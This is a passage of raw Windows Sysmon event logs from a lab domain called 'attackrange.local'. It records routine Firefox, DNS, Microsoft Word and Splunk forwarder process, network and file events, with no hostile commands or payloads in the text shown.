10341000x800000000000000050849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.239{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.232{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.232{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.207{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.206{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.205{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000051006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.114{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57460- 354300x800000000000000051005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.113{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local55788-false142.250.186.46fra24s04-in-f14.1e100.net443https 354300x800000000000000051004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.113{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59307- 354300x800000000000000051003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.111{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55787- 354300x800000000000000051002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.034{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local52989-false142.250.185.99fra16s49-in-f3.1e100.net443https 734700x800000000000000051001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.851{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\actxprxy.dll10.0.14393.3808 (rs1_release.200707-2105)ActiveX Interface Marshaling LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationActXPrxy.dllMD5=087C47C19BBFCB9F4932C03C0189E86B,SHA256=9BEE35FBFA2E595372D82E8858BE46CE7717E0399996960398BC238F4D0E5207,IMPHASH=24160898971C9C6FED5AE429E3AAD3DAtrueMicrosoft WindowsValid 22542200x800000000000000051000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.017{7BD73061-728D-613B-560B-00000000F001}4776adservice.google.de0type: 5 pagead46.l.doubleclick.net;::ffff:142.250.185.130;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.811{7BD73061-728D-613B-560B-00000000F001}4776plus.l.google.com02a00:1450:4001:82f::200e;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.809{7BD73061-728D-613B-560B-00000000F001}4776plus.l.google.com0142.250.186.46;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.807{7BD73061-728D-613B-560B-00000000F001}4776apis.google.com0type: 5 plus.l.google.com;::ffff:142.250.186.46;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.932{7BD73061-728D-613B-560B-00000000F001}4776gstaticadssl.l.google.com02a00:1450:4001:810::2003;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000050995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.806{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=684F6041B676A3ED01796E2BDD9ACBED,SHA256=ED12CC0FB7FC11DA6BB08D80A9AB486987BD0B3BECDF0DBDC809F2665AD8039B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016389Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.862{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0B7877BE5D225C023E83E96A916FD33A,SHA256=0E64B6CE89F8DBB197E032D0E4CD79E1CAB42D491571B215B373E029F9E989D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016388Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.862{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0A8859D104CD39D89E0030072E6DBD68,SHA256=BE2486EC53D88CC37515693909EF56AC7BC9334AC00C386B22974F1553CABA42,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016387Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.847{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39AC90FE871596EA7718B0266D430468,SHA256=A7ABFBCC9AFFD00D1493371EBF9C3E13EEC563487D120F1BBEDA883D16320CB9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016386Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7298-613B-F904-00000000F101}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016385Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016384Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016383Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016382Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016381Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016380Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016379Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016378Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7298-613B-F904-00000000F101}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016377Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016376Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016375Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.753{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7298-613B-F904-00000000F101}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016374Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.754{625C326B-7298-613B-F904-00000000F101}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000050994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.556{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\permissions.sqlite-journalMD5=B0A47E1FDDFFEAC5A1500D097C325FD6,SHA256=BA0474B7B59E6A9E35757EF5A2BAD379F250C0E5475F9AE846F65EFA65555C08,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000050993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.237{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local64002-false142.250.186.35fra24s04-in-f3.1e100.net443https 354300x800000000000000050992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.229{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local64001- 23542300x800000000000000050991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.061{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=8C6F7B37707EE20758893DBB102E8B28,SHA256=2896B9D485E229F37D8219322C5C92875A5CAA1E7FF7133D95C49CC386852E4B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016373Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.503{625C326B-7298-613B-F804-00000000F101}35163952C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016372Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7298-613B-F804-00000000F101}3516C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016371Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 